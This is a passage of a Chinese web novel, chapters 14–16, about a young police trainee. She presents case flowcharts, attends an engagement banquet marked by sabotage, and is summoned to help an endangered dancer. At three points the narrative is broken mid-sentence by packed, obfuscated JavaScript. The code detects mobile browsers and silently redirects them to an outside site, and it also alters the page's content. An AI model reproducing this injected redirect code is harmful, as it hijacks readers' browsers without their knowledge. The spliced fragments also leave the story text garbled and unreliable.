叶晴和老田可以提供死者和证物的相关照片,但是破案流程都在黑板上,乱七八糟的,除了队里的人没几个能看懂。 而且总不能把这么大一块黑板抬进会议室吧…… 纤长如玉的手指在桌面轻点几下。 春节那会电视台热播《三国演义》和《过把瘾》,老季和连女士懒得串门吃席,就蹲在家里没日没夜地看电视,还画图分析剧情。 当时他们好像在信纸本上写写画画,还说能做什么“屁屁踢”! 季银河眼光一亮,登时抓起纸笔塞进背包,大步跑出办公室。 ——不管那种图叫什么奇怪的名字,但是用那种版式来展示破案流程,再合适不过了! 14. 第 14 章 翌日。 一双沾染了油墨的手从油印机边拎起数张稿纸,竖着往桌面磕了磕,确定边角对齐后再送入订书机口,咔哒两声,快速抽出。 “好了,最后一份!” 季银河满意地检查完,看了眼手表。 距离开会还有半个小时,足够她再去试验一遍幻灯机了。 “小季啊,你这几张图怪有意思的。”负责油印的高姐好奇翻看着装订好的稿纸册,“局里还没人做过这样的东西。” “唐队让我在案件总结会上作报告,我怕领导听不明白,就画了屁……呃,破案的流程图。”季银河把骨节清隽的手指放在抹布上揩了揩,有点紧张地问,“您觉得这些图示怎么样?” 作为从业务上退下来的老警员,高姐认真看了看,笑起来,“挺好的,想得很周到,我觉得饶局会喜欢,加油啊小同志!” 季银河呼出口气,眉眼明亮,“谢谢高姐!” 她从口袋里掏出一包连翘亲手做的花生牛乳糖,双手递给高姐表示感谢,然后抱起纸册,一路小跑上楼进会议室,往每一个位置上都放了一份油印材料。 忙完后又折去隔壁行政办公室,借来那全局唯一的一台幻灯机。 调试完设备,已经有不少人进会议室入座了。 “一早上就看你跑上跑下的,也不知道在兴奋什么。”车志文把面前的流程图册翻得哗哗响,皱着眉头评价,“这是你画的?比《渴望》的片头还花哨,年轻人还是要脚踏实地——” “哇!小季你好厉害啊!” 刚进门的小伍手舞足蹈大声赞叹,唐辞的视线落在幻灯片上,唇角也微微弯起,把车志文没说完的话给堵了回去。 “嘿嘿!谢谢夸奖!”季银河双手叉腰笑眯眯。 车志文观察着大家的神情,从鼻腔里冷哼一声。 反正待会领导们一定会同意他的观点,狠狠批评这种华而不实的作风。 没想到案件报告会还没结束,季银河刚用她生动的叙述和活灵活现的肢体表演为大家重现了抓捕审讯过程,就引得在场众人发出阵阵笑声。 饶局甚至抬手鼓起了掌。 “我昨天就听说了小季同志在办案过程中的精彩表现,巧妙利用美食和诈术,讲证据也讲感情,根据嫌疑人的特点量身订制审问方法,效果很好!很有创意!” 被夸成这样,季银河神采飞扬的脸上也毫无羞赧。 她礼貌地浅浅鞠了一躬,大声道:“谢谢饶局!” 在车志文的震惊中,会议室里跟着响起一片称赞之声。 有两个副局问:“小季,这些油印材料是你做的吗?很简洁鲜明,一目了然啊!” “对。”季银河认真回答,“流程图也是我设计的,当然,没有全队同事认真破案,我也画不出来。” “可见我们警察队伍很需要小季这样的新鲜血液!”饶局边点头边称赞,“同志们,省厅现在很看重案后总结工作,预防类似案件的发生,既然我们有这样的人才,就应该多给培养机会,助力他们成才!” 他敲了敲桌面,话风一转,“小季啊,你把材料整理一下,和流程图一起寄到省厅去!署你的名字,争取申报年底的奖项!” 会议室里又响起一片窃窃私语,唐辞立刻朝她竖起一个大拇指。 季银河有点受宠若惊,但是被大家这么看着,只好乖巧点头应下。 等到会议结束,她才小步跟上走出会议室的饶局。 “您的意思是让我申奖吗?”小季同志指着自己,一脸不敢相信,“可我还是个实习警呢!” “这有什么!你也给我当过几天秘书,我不向着你向着谁?” 饶局淡定地瞄去一眼,季银河缓缓睁大眼,露出一种“我没想走后门”的惊诧表情。 “——当然,刑侦工作关乎老百姓的安全,我们这个队伍向来靠本事说话,谁有本事就提拔谁。”饶正好停下脚步,拍了拍对面比他还高的肩,“你唐队也是一样的情况,当年他经手第二个案件就表现出色,我立刻给他破格申请了个人三等功,要不他哪儿能这么年轻干上队长?” 原来她不是个例,季银河呼出口气,“那就谢谢您了。” 回到办公室,她推开窗吹了会风,然后回桌前坐下,猛灌一大口凉茶,精神抖擞地铺开纸笔。 车志文又酸了两句,季银河权当听不见,全身心地投入工作。 案件总结会的报告面向本院领导,她写得比较规矩保守,但是眼下的材料却以她个人名义上报给省厅,所以在其中夹杂一些她个人思考……应该也是可以的吧? 想到这儿,季银河就翻了翻桌面上的几本书,这都是她进队第一天,从抽屉里找出来的公安大教材和手册;其中有一本提到了现在国外流行的侧写学科,根据案情给凶手做心理剖析,她觉得还挺有意思的,在这次审讯时能想出那几个偏门方法,也受了点“侧写”的影响。 于是她花了一下午时间,洋洋洒洒写了一大篇感想,一并塞进牛皮纸袋里。 另一边,手头无事的小伍打开收音机,拧着调频听港台金曲。 他忽然“啊”的大叫一声,一把跳到了椅子上,把整个办公室的人都吓了一跳。 “怎么了?”唐辞从内间冲出来,“有案子?” “啊!不是……”小伍将广播的声音旋大了些,“我听到了一条振奋人心的新闻!” 大家一脸懵,只听广播里,女主播铿锵有力的声调传了出来: “——7月25日,花州警察成功抓捕作案50余宗、枪杀18人、伤30人的张成团伙,这是今年我国破获最大的暴力团伙,花州公安诸多部门的同志在破案过程中不辞辛劳,不畏艰险,有效地遏制了犯罪!” “太厉害了!”小伍把掌心都拍红了,“要是这辈子能上一次新闻,哪怕抓人时死了都值!” 想到兄弟单位的警察们在刑事一线完成了这么重要的工作,大家都心潮澎湃,兴奋不已。 连寡言的程漠都说了句,“选择当刑警,就是为了亲手抓到犯人的那一刻啊!” “可拉倒吧!你们还是年轻!”车志文粗声粗气道,“人花州是大城市,江潭是不出名的小地方,新闻凭什么报道我们?再说这样的犯人肯定穷凶极恶,我没什么远大志向,才不想参与抓捕呢,活着才是最金贵的!” 办公室里安静了片刻,小伍被泼了冷水,激动的心哗啦一声成了碎片,只好讪讪地关上收音机。 此时,季银河却腾地站起身。 车志文下意识往后缩了缩。 干什么?这伶牙俐齿的小姑娘要反驳? 没想到季银河弯着眉眼说:“您说得对!” 车志文:“……” “活着就是这世上最重要的事,每个人的生命都无比珍贵,这一点上,我和车副队看法一样!” 小季同志挺直了腰板,“同样,老百姓的生命也至关重要,所以我们更要维护好社会安定,无论大案小案,办好每一个案件,就一定能杜绝这种罪大恶极的坏人出现!” 车志文抓抓眉毛,怎么觉得自己原本贪生怕死的想法硬生生被她上了价值…… “是啊,大家好好干,哪怕没遇到大案子,我们也一定能上新闻!”唐辞笑着做了总结,“这两天大家就可以松快些了,回去陪陪家人,带好传呼机……有案子过来,我会联系你们的!” “呼——” 办公室又充满了欢乐的气氛,大家噼里啪啦收拾东西。 小伍忽然想起前天的牛肉锅贴和柳江大餐,就拉着季银河问:“那是你买的,还是自己家里做的呀?” “我妈做的。”季银河很自豪,“连姐小吃店,你知道吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669978|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “知道知道!”小伍眼光发亮,“等等——” “对,连姐就是我妈。” 小伍讶然一瞬,贼兮兮地搓手,“那我下次能不能请你带……” “能!想吃什么提前告诉我!”季银河一口应下,还从包里掏出连女士的名片,给每个人豪迈地塞了一张,“欢迎大家随时来连姐小吃店,我请客!” 整条走廊都听见了,隔壁的警察们纷纷走过来,办公室响起一片嘻嘻哈哈的笑声。 小季同志年轻有为,颇得饶局和唐队青眼,大家都笃定以后肯定要经常光顾小季妈妈的生意。 不过谁掏腰包嘛,那就是后话了。 季银河压根没想那么多,纯粹是热情。 毕竟连女士的店从早到晚门庭若市,还犯不上让她来警局揽客。 她雀跃地散完连姐小吃店名片,三步并两步蹦下楼梯。 ——好久都没在太阳落山前下班了! 归巢的麻雀落满电线,天际是缓缓流动的橘粉色,红色摩托车飞出市局,在满是烟火气的梅清苑前停下。 季银河叼着粒豆棒冰,一步三晃地上了楼。 没想到老季和连女士竟双双在家! 季银河站在玄关,对着沙发上看电视的父母眨巴眨巴眼。 连女士作为江潭著名自由职业者,工作时间不固定就算了,可现在还不到五点半,老季怎么也早退了? 眼见女儿神情茫然,季建国同志连忙往电视机前一跳,伸着胳膊晃荡。 “瞧瞧!你爹我新中的大彩电!松下29吋三超画王电视,纯进口,售价高达一万五!刚从百货大楼搬回来!” 从季银河有记忆起,老季的运气就特别好,三天两头中奖,同事邻居早就见怪不怪。 缓了缓,她的目光终于在电视机上聚焦。 ——漂亮的小鹿纯子高高跃起,一招晴空霹雳,把对方打得人仰马翻! “怎么样?好看吧?”季建国笑着问。 “……好大!” 但若说清楚和鲜艳的话,好像五折叠那块小屏幕要更胜一筹。 季建国听了她的评价,转头端详电视,“其实也不算大,以后咱们还会中……买更大的,哈哈哈哈!” 季银河抓抓额角,一头雾水地钻进房间换衣服。 连翘也跟着进来了。 “银河,你这几天用手……通讯仪器,感觉怎么样?” 季银河想了想,“砸人,开灯,其他的功能还没琢磨出来。” “这几天看你忙,没来得及和你细说……这个通讯仪是要充电的,我把家里电路改了一下,充电线放你床头了,记得每晚插上。” “我记住啦!” 连翘又从口袋里掏出一张写满密密麻麻小字的纸条。 “这是通讯仪的说明书,你抽空研究研究……用的时候,最好还是避着点同事。” “……”季银河鼓鼓腮帮,“好。” 她没敢告诉妈妈,唐队和小伍已经见过这个前苏联仪器了。 “还有啊。”连翘做贼心虚般咳了声,瞥眼客厅里鼓捣电视的丈夫,用更小的声音说: “那个私密文件夹,里面有几个视频、小说、漫画什么的,可千万别当着你爸的面打开!虽然你成年了,最好也别看!” “?”季银河不明所以,“那删掉好啦。” 连翘立刻拒绝,“不行!那是我的宝贝!是我在这个世界活下去的动力!” “……” 当晚,小季警察把房门关好,对着说明书一一研究五折叠功能时,还是忍不住好奇地点开其中某个视频。 十分钟后,屏幕上的两个人越靠越近,嘴唇相贴,发出了奇怪的“啵啵”水声。 她顿时脸颊涨红,瞪大双眼,把脑袋埋进被窝。 “啊啊啊啊——!” 15. 第 15 章 接下来一段时间,江潭又恢复了以往的宁静。 重案一队接到的案子都没什么难度,无非溺水、偷窃、寻衅滋事一类,要么纯属意外,要么冲动行事,侦查过程迅速简单,几乎当天就能结案。 车志文嫌办公室闷热,懒得日日苦坐,程漠母亲住院,需要陪护,而小伍新谈了对象,正在热恋期中……反正外勤本就不用固定时间上班,大家也就睁一只眼闭一只眼。 于是除了兢兢业业镇守岗位的唐辞外,只剩下季银河每日前来报道。 隔着铁皮柜排成的隔断,两人各居一隅,互不打扰。 季银河从档案室调了不少以前的卷宗材料,把自己代入当时的场景,分析案情逻辑,梳理人物关系,推测凶手的作案动机,尝试进行侧写画像。 她还把那些公安大专家编写的书籍手册都读完了,笔记认认真真记了几个皮面大本子。 眼睛累了手写酸了,就去找隔壁法医室的叶晴探讨临床鉴定,或者上收发室溜达一圈。 上交给省厅的申报材料犹如石沉大海,过了两三周,依然毫无消息。 有时季银河也会想起爸妈那晚在主卧中的对话,什么“贩毒富二代”“人口贩卖案”“连环分尸案”之类的。 只可惜他们说得不明不白,她在派出所和分局里拐弯抹角打听了几次,也没找到任何相关线索。 凭借聪慧过人的才智,小季警察推测这些案件很有可能还没发生,她能做的,也就是时刻保持警惕,最好能将这些恶性事件扼杀在发生之前。 但是她亲爱的爸爸妈妈,又是如何得知的呢? 她趴在办公桌上,苦恼地抓了抓头发。 夏天最热的时光,就在那一方晚风暮色,和窗外渐隐的蝉鸣声中悄悄过去了。 * 八月底的早晨,尽管已经出伏,暑气依然在路面蒸腾。 正式在重案一队站稳脚跟的季银河拎着连女士的爱心小饭盒,脚步轻快地从单元楼栋中走出来。 邻居陈玲坐在路边的小马扎上剥毛豆,看见她出门,立刻站起了身。 “去警局上班了呀?” “是呀,陈妈早!”季银河停下脚步,笑着打了声招呼。 “小银河,你现在不忙的话,能不能帮我看看电表?”陈玲端起小马扎和菜盆,“这个月很不对劲,我家也没用大功率,但是电费特别高,我怀疑有人偷接我家电了!” “……啊?”季银河眨眼,“电路的事我不大明白,恐怕您得找供电局。” “好好,你先看看嘛,有警察同志在,我更放心!” 陈玲不容分说地拉着她钻进楼道下方。 这块平常只有抄表员才过来,到处都结着蜘蛛网,扬灰乱飞,季银河睁着红彤彤的眼眶看电表箱上的房号。 “302……对!就是这个!”陈玲看着角落箱子上结成一团的线,气得直跳脚,“真是奇了怪了,一定有人偷我家电!” 季银河艰难地弯下腰,缩着脖子蹲了进去。 “陈妈,我看不出有什么问题,现在表转得也不快,而且偷电贼一般都在半夜……” 她话没说完,忽然愣在原地。 自家303和302的电表箱就挨在一起,上次连女士说为了给五折叠充电专门改了电路,不会把线接到陈妈家去了吧…… 而且她正是从八月初开始使用五折叠的! 人民警察小季同志深吸口气,当即决定回家和连女士问个究竟;如果情况属实,就得改进把电路改回来,该道歉道歉,用掉的电费也要偿还给陈妈。 她刚准备阖上电表箱,忽然箱底深处传出两声嘶哑的“喵呜”,一只消瘦的大橘猫扭着屁股从下面爬了出来。 “哎呦!”陈玲大叫,“这不是我的大吉吗?怎么跑到这儿来了!快快快银河抓住它!” 大吉皮毛上沾了灰,触手油滑,受了惊吓跑得又快,一骨碌钻进了自行车下,又顺着砖墙蹿出了单元楼。 季银河本就因为电路的事有点愧疚,因此格外卖力地追着橘色的影子跑了出去—— 一阵人仰马翻后,终于在车棚前一把将大吉捞了起来,交还到陈妈怀中。 “哎呦呦我的宝贝儿!” 陈玲也不管猫脏成什么样,抱着亲了又亲。 “大吉丢了三个月,原来胖得小猪一样,现在瘦成一把骨头!我还以为这辈子都找不回来了呢!”陈妈抹抹眼睛,感激涕零,“谢谢你啊小银河,又帮我查电表,又帮我找猫……回头我拎点酒送你家去!” “千万别!您太客气了,街坊邻居就应该互帮互助,而且这都是我们人民警察该做的!” 季银河不好意思地摸了摸鼻子。 “别摸!一鼻子灰!”陈妈抱着猫哈哈大笑,“耽误你时间了,回去洗个脸换身衣服再去上班吧!” 季银河低头看看自己,这副模样去单位显然不大合适。 而且连女士还没出门,正好能问问电表的事。 于是她和陈妈道了别,转身上楼回家。 连翘已经起来了,系着花围裙哼着R&B站在厨房里做早饭,看见季银河灰头土脸进门,不由倒吸一口凉气。 “一大早上哪儿抓人去了?” “没抓人,抓猫。”小季警察溜进卫生间,一边洗脸一边问,“妈,你前段时间是不是改电线啦?” “是啊,家里电压不够五折叠的快充嘛。” “好像接到302去了。” 连翘惊讶地拍了下脑袋,赶紧扯下围裙,“我那天带着老虎钳下去,也不知道怎么弄的,黑咕隆咚,七扭八扭,还以为接的是咱们自己家……我的天,用了陈姐多少电费?我给送过去!还得赔礼道歉!” “……” 季银河换完衣服出来,看见自己心大的母亲拿着钱包匆匆出去,拍响了对面的防盗门。 这会儿去市局也有点晚了,她在餐桌边坐下,端着碗筷看电视,一点都不担心状况。 ——连女士在街坊间出了名的粗枝大叶性情豪爽,小吃店挣得又多,季家不至于付不起那点电费。 陈妈一定明白,连翘不是故意当这个偷电贼的。 果然,半集《神雕侠侣》后,连翘就挂着微笑回来了。 季银河问:“陈妈没生气吧?” “你陈妈的爱猫大吉今天失而复得,心情好着呢,还说专门要感谢你。”连翘眉眼弯弯,“我说要给电费也不收,只夸我家卤水香,让我下回卤了鹅,给她捎半只……我说这当然好啊,反正我们自家也要吃的,顺手的事!” “那就好。” 季银河喝光粥底,手边的bp机响了一声。 低头一看,唐辞发来一串数字,是一队众警员间的默认代码,意思是今天没案子,不必到岗。 连翘在她身边坐下,拿一把真丝小扇徐徐扇风,“今天不上班?” “嗯,没案子。” “那行,傍晚你跟我去趟苏家。” 季银河有点懵,“谁?” “就是我认识你爸那会当保姆兼厨娘的苏家。”连翘顿了顿,解释道,“今晚是他女儿苏月的订婚宴,邀请我们家去吃席,说起来,他们家两个女儿的故事还挺复杂……” 季银河被勾起了好奇心,“怎么复杂了?” 连翘嗐了声,起身去厨房切了几片西瓜,一脸八卦地跟女儿分享道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676103|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“苏月出生那会就给人掉包了,苏先生和太太把隔壁床位的苏逸云当成了亲生女儿。养到八岁时,小云生病要验血,发现血型对不上,又是托人又是找关系的,这才在乡下福利院找到小月,把人认回来……但是小云这边呢,既不知道亲生父母是谁,再加上朝夕相处八年,苏先生和太太也割舍不下,反正他们家不缺钱,干脆就一起养大了。” 少顷后反应过来的季银河:“……” 这个故事为什么有点耳熟? 不就是真假千金被掉包了吗?? 这难道就是连女士那晚说的“绿江年代文贩卖人口案”??? 小季同志咬了口瓜,讷讷地问:“后来呢?既然一起长大,想必苏月和苏逸云亲如姐妹,有什么复杂的啊?” 连翘尬笑了声,心说作者水文水了足足一百五十万字,其中各种曲折狗血,三天三夜都说不完呐! “这个嘛,具体我也不清楚。我认识你爸没多久就从苏家辞职了,后来苏先生下海经商赚了不少,但苏逸云到底是养女,和苏月这种找回来的亲生女儿关系很微妙,小云还差点抢了小月的男朋友,大学也没考上,几年前就从江潭离开了,苏先生和太太只能当没养过这个女儿,也是桩伤心事……总之订婚宴你就乖乖吃饭,别主动提就行!” 季银河把西瓜皮丢进垃圾筒,认真点头,“好!” 她对真假千金间的狗血八卦没那么感兴趣,但是作为一名有专业素养的刑警,如果苏家真的遇上了人贩子,她是绝不会放过任何一点线索的! * 傍晚六点,苏家小洋楼。 红色夏利出租车在路边停下,车门打开,一只棕色高跟小皮鞋从内探出,踩上地面。 站稳后,季银河伸长手臂,别扭地扯了扯紧紧锁喉的衬衣领和箍在胯上的铅笔裙。 这套行头是连翘下午特意去商场买的。 自打季银河上警校,为了骑车和追坏人方便,早就把那些好看但不实用的衣服捐给希望小学的妹妹们了。 穿惯了舒适宽松的制服,此刻她宛如被裙子和皮鞋绑架,走路歪歪扭扭。 不过原本就一七三的身高被拔到了快一米八,足以俯视身边每一个人的头顶,并收获一大堆惊诧的目光。 ……这感觉还挺好! 小季警察呼出口气,视线穿过贴大红喜字的罗马柱,落在洋楼中央。 打扮得比巩俐还温婉明艳的苏月正挽着她的未婚夫,微笑接受宾客们的祝福。 连翘掏出红包,向女儿叮嘱道:“我们家在左边第二桌,你先坐,给你爸留个位置,我过去打声招呼,正好把人情送了。” 季银河说好,径直走向旁边的宴席。 刚落座,隔壁桌一位时髦姑娘便转过头来,笑盈盈道:“你好,我叫檀雅馨,是苏月的好朋友,你呢?” “你好,季银河。”小季同志在浓烈的香水味中屏住呼吸,自报家门,“我妈妈以前是苏家的保姆。” 她神色坦然自在,倒是檀雅馨脸上露出一丝尴尬,“哦,那叔叔阿姨挺念旧啊。” 季银河不在意地笑了声。 檀雅馨许是无聊,便托着下巴问:“你工作了吗?在哪上班呀?” “市公安局。” “巧了么不是!我对象也在市局上班!”檀雅馨一挑眉毛,“你在哪个部门,我对象还是个小领导呢!” “喔,我在重案一——” 那个“队”字还没说出口,旁边的门帘忽然掀开,一位身穿香云纱旗袍的中年妇女冲了出来,优雅精致的面容上满是慌张。 “阿翘呢?连翘!你在哪?快来帮个忙!我们预定的大厨临时放鸽子啦!” 16. 第 16 章 众宾客安静了两秒,紧接着一阵骚动,人群向两边分开,让出一道窈窕的身影。 “有什么我能帮上忙的?”连翘快步走过来,拉住优雅妇人的手,低声问道。 苏家的女主人——楚曼看起来快哭了,“这次小月订婚,我们特地请了千金楼的大厨过来掌勺,订金付了,菜也按要求备好了,结果左等右等都不来,刚才我打电话一问,说人临时被请去京州服务领导了!真是的,怎么不提前讲一声,这么多客人叫我们临时怎么办嘛……而且厨房里还出了点状况!阿翘,能不能麻烦你帮帮忙?” “好。” 连翘答应得很干脆,没怎么犹豫,只是一边卷袖子一边解释,“我这几年都在做小吃和家常菜,宴席很久没碰了,不能跟千金楼比。” “把今晚应付过去,让大家不饿肚子就行。”楚曼感激道,“太感谢了——” “客气什么。”连翘拍拍老姐妹的肩,折身钻进厨房。 楚曼向宾客们说明了情况,解释为何推迟开席,也赶紧过去打下手。 客厅里,苏月一瞬紧抱住未婚夫的胳膊,漂亮的脸上满是惊慌。 苏贺领着两个青年才俊弹起电子琴,这才让席间的氛围重新热闹了起来。 季银河无心欣赏,她偏了偏头,从掀起一半的门帘望去,刚好能看见连翘和楚曼都系上了围裙,紧接着就是一阵丁零当啷的响动,两人弯着腰,好像在找什么东西。 “……那个连翘,就是你妈?”檀小姐伸手过来打了个响指。 “是。”季银河斜觑她一眼,“您有点没礼貌。” “我没礼貌?”檀雅馨将手指对准自己,“我是苏月的好朋友,是宾客,你妈妈就是个佣人!” 季银河失笑:“都快到二十一世纪了,没想到还有人满脑子封建糟粕。” “……” 檀雅馨有点生气,想叫小姐妹过来评评理,又想搬出当警察的男朋友来压人。 但是季银河根本没给她任何机会。 老季的脑袋刚在门口冒了个头,小季同志腾一下站起身,袖着手往外去了。 “哼!早知道就该把阿辞也叫过来撑场面!”檀雅馨自觉一个人敌不过对方一家三口,只好愤懑不平地嘀咕,“她妈一个保姆,厨艺肯定不能和千金楼比,待会儿上了菜我就大声嚷嚷难吃,气死他们!” 小洋楼门口,小季同志和老季同志顺利会师。 “你妈呢?” 小季把连女士正勇当大厨的事迹跟父亲一说,季建国当即表示:在外面等搂席太无聊,他也要去厨房陪老婆。 父女俩认准目标抬起脚,忽然一阵席间骚动,苏贺带着女儿和未来女婿,一路小跑着穿过整个厅迎上来。 “建国,我还以为你今天不来呢!太荣幸了!我来介绍一下啊,小月,同光,这位可是我当年下海做生意的引路人,我的人生导师,我见过的最有智慧的人!快喊季叔叔!” 苏月和丁同光眨眨眼,“……季叔叔好。” 季银河一脸困惑。 向来懒散的老季同志还有这本事? 苏贺揽着两个小辈继续介绍:“我女儿苏月,未婚夫丁同光,这孩子研究生刚毕业,现在我公司当经理。” 季建国点点头,随意道:“你们好。”然后拉了把季银河,“我女儿,警察。” 苏贺一脸赞叹,“厉害!有志气!” 季银河毫不羞涩地咧嘴点头。 “不好意思啊,大厨临时来不了了,只能请连翘帮个忙……”苏贺拍了下大腿,“建国,你和连翘是我们苏家的恩人,今天必须上座!” 说罢就揽着季建国的肩往前引路,亲自挽袖布置碗筷。 季银河亦步亦趋跟在后面,隔了几米,看见檀雅馨惊讶地张大了嘴。 顿时感觉心情十分舒畅。 入座后,被强行请上主桌的季建国一脸不情愿,频频往厨房张望。 季银河凑到他耳边,“是不是觉得厨房还要更自在点?” 季建国慨叹,“……知父莫若女啊!” 季银河好奇问:“爸,你以前给苏先生灌了什么迷魂汤,他怎么这么崇拜你?” 季建国摸摸下巴。 如果当初不是他和连翘强行改变走向,撺掇苏贺避风头,恐怕苏家早就如《七零之走失的真千金回来了》原书剧情,被诡计多端的假千金苏逸云一顿举报给整死了。 “也没什么,一点微不足道的小事罢了。”他一脸高深。 季银河眯眼瞧着她爹,还想多问两句,那边厨房一阵响动,连翘推着小轮车,步伐轻快地从帘子后面出来。 刚进大厅,还没揭开菜盖,馥郁香气已然飘起,勾起在场所有人肚子里的馋虫,炸开了满堂喧哗。 “过桥红东星斑,酸萝卜薯粉烧澳龙,黑松露红烧肉配鲍鱼,川香牛蛙,蟹粉狮子头,时令蔬菜……请慢用!” 即便被临时拉去当主厨,在半小时内指挥人噼里啪啦烧了十个菜,连女士美丽的妆发还是一丝不苟,衣裙上也没有一点污渍,看起来不过是进厨房聊了会天。 相比之下,旁边的楚曼就有点狼狈。 “今天多谢我的好姐妹连翘连大厨帮忙!大家觉得好吃的话,一定要去连姐小吃店捧捧场!”楚曼挽起衣袖,亲自接过了小推车,“阿翘辛苦了,快入座吧,我来上菜!” 连翘也没客气,脱下围裙,来到丈夫女儿身边坐下。 她抿了口茶,和季建国交换了一个眼神。 “怎么了?” 连翘沉声:“按照预定的菜谱,好些食材的数量都不够,而且厨房里还被人投了十几只老鼠。” “再加上大厨临时爽约……你猜有人故意给这场订婚宴难堪?” “嗯。”连翘不动声色地点点头,“我猜是她。” 季银河竖起耳朵。 ……她是谁? 但是苏贺带着女儿女婿入座,连女士和老季便同时住了口。 一番贺词后,订婚宴正式开场。 华灯映佳肴,糖色红烧肉与翠色的时蔬冷暖碰撞,鲜嫩多汁的鲍鱼、酥脆焦香的烤鸭与绵密香甜的芋泥一起在舌尖弹跳。 宾客们也忘了刚才的小插曲,吃得十分欢畅。 没想到酒过三巡,忽然有人不识趣地问了句:“——老苏,你另一个女儿小云呢?” 话音落地,场上立刻冷了下去。 苏月脸色发青,垂下眼眸。 “小月,你没事吧?”丁同光握了握未婚妻的手。 苏月瑟缩了一下,轻轻摇头。 苏家众亲朋好友赶紧走过来,把那个不识趣的人带了下去;苏贺、楚曼和丁同光又站起来打了几句圆场,但刚才热闹的气氛还是倏然变了味。 订婚宴就这么结束了。 季家三人多坐了片刻,等到大家走得差不多了,才起身离席。 上车前,季银河看着圆桌对面情绪低落的苏月,从包里掏出张连姐小吃店名片,翻到背面,提笔刷刷写下自己的通讯住址和传呼号。 “苏小姐,我是一名刑警。”她走过去递名片,“如果遇到什么事,可以来找我。” 苏月抬起头,眼神有点闪躲。 “谢谢你,不过雅馨对象也是警察……对了,她人呢?” 丁同光左右环顾了一下,“大概觉得晚宴好吃,去后厨打包饭菜了。” “好吧。”苏月垂下天鹅一样纤长的脖颈。 季银河把名片往她手中按了按,温声道: “苏小姐,我们都是女孩子,或许有的事……你跟我说,会更方便。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684370|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> * 暮色如烧,火车站的大楼吞吐出汹涌的人潮,茶叶蛋的卤香和汗味在暑气中一起发酵,售票窗前的长队一直蜿蜒到了马路上。 几名急忙赶车的大姨紧攥车票一路狂奔,与一位穿皮衣皮靴戴墨镜的女人擦肩而过。 “有病啊,大晚上带戴什么墨镜!” “可能是瞎子?” “刚才那班车京州过来的诶!省会就是时髦,瞎子也穿得这么靓!” “呵,也不嫌热!” 苏逸云恍若未闻,隔着深黑色的滤镜眺望这座她阔别已久的城市。 今天,是那个女人订婚的日子。 “天都天都!差两位发车!” “市府广场走不走?不打表,一口价八块!” “美女,住宿要不要啦?” 几个臭烘烘的地痞流氓凑了上来,不怀好意地打量孤身的女人,咸猪手蓄势待发。 苏逸云蹙起眉头,加快步伐,轻车熟路拐进了旁边的小巷。 昏暗的角落里,一个双手插兜年轻男人走上前,头发略长,遮住了一半眉眼,隐约可见狰狞刀疤。 苏逸云丝毫不怵,“来了。” 男人嗯了声,朝跟到巷口的小流氓扬扬下巴,“给点颜色瞧瞧?” 苏逸云幅度很小地点了下头。 男人迈步,与她擦肩而过。 片刻后,巷口传出拳头打在肉上的闷响,和数声吃痛的惊呼。 而苏逸云已经穿过小巷,登上一台停在路边的黑色轿车。 黑沉沉的后排烟雾缭绕,阴影里探出半张饱经风霜的面容。 “你想好了吗?” “想好了。”苏逸云摘下墨镜,盯住后视镜里的倒影,喊了声: “……妈。” * 两周后。 初秋的黎明已经有了寒意,天将亮未亮,风把玻璃窗吹得砰响,季银河裹在一方小被里,睡得昏昏沉沉。 一片寂静里,忽然响起了猛烈的拍门声。 “砰!砰砰砰——!” 季银河从梦中惊醒,一骨碌爬了起来。 她披上外衣,顺手拿起衣架上的警棍,打开房门—— 季建国正一脸紧张地站在客厅,竖起食指贴近唇边示意她别出声,然后大声问:“谁啊?” “季叔叔,小季警察在家吗?我是丁同光。”焦急的声音传进来,“我未婚妻苏月找她!” 季银河并没有掉以轻心,“苏月和你在一起吗?” “小季警察,我在。”苏月声音听起来很虚弱,“订婚时你给了我名片,你还记得吗?我、我遇到了一些事,需要告诉你……” 季银河松了口气,朝季建国点点头,放下警棍打开门锁。 走廊上,苏月面色白得像雪,被丁同光搀扶着才勉强站稳。 季银河吓了一跳,“苏小姐,快进来。” “不用,等下还得回医院。”苏月深吸口气,“我昨晚……差点被猥亵了。” 季银河瞪大眼,“在哪儿?对方你认识吗?报警了吗?” “在北江区的丽景夜总会,是陌生人……”她换了口气,沉声,“我要跟你说的是另一件事。” 丁同光从口袋里拿出一个纸团,递给季银河。 “这是帮我逃出来的舞女塞给我的。”苏月声音微微颤抖,“我觉得……她或许需要警察的帮助。” 季银河?一头雾水打开。纸条上赫然出现五个字,殷红的,宛如用鲜血写成—— “他们要杀我!” 季银河只呆了一秒,等她脑子里回过神时,已经抓起了挂在玄关的包,夺门而出。 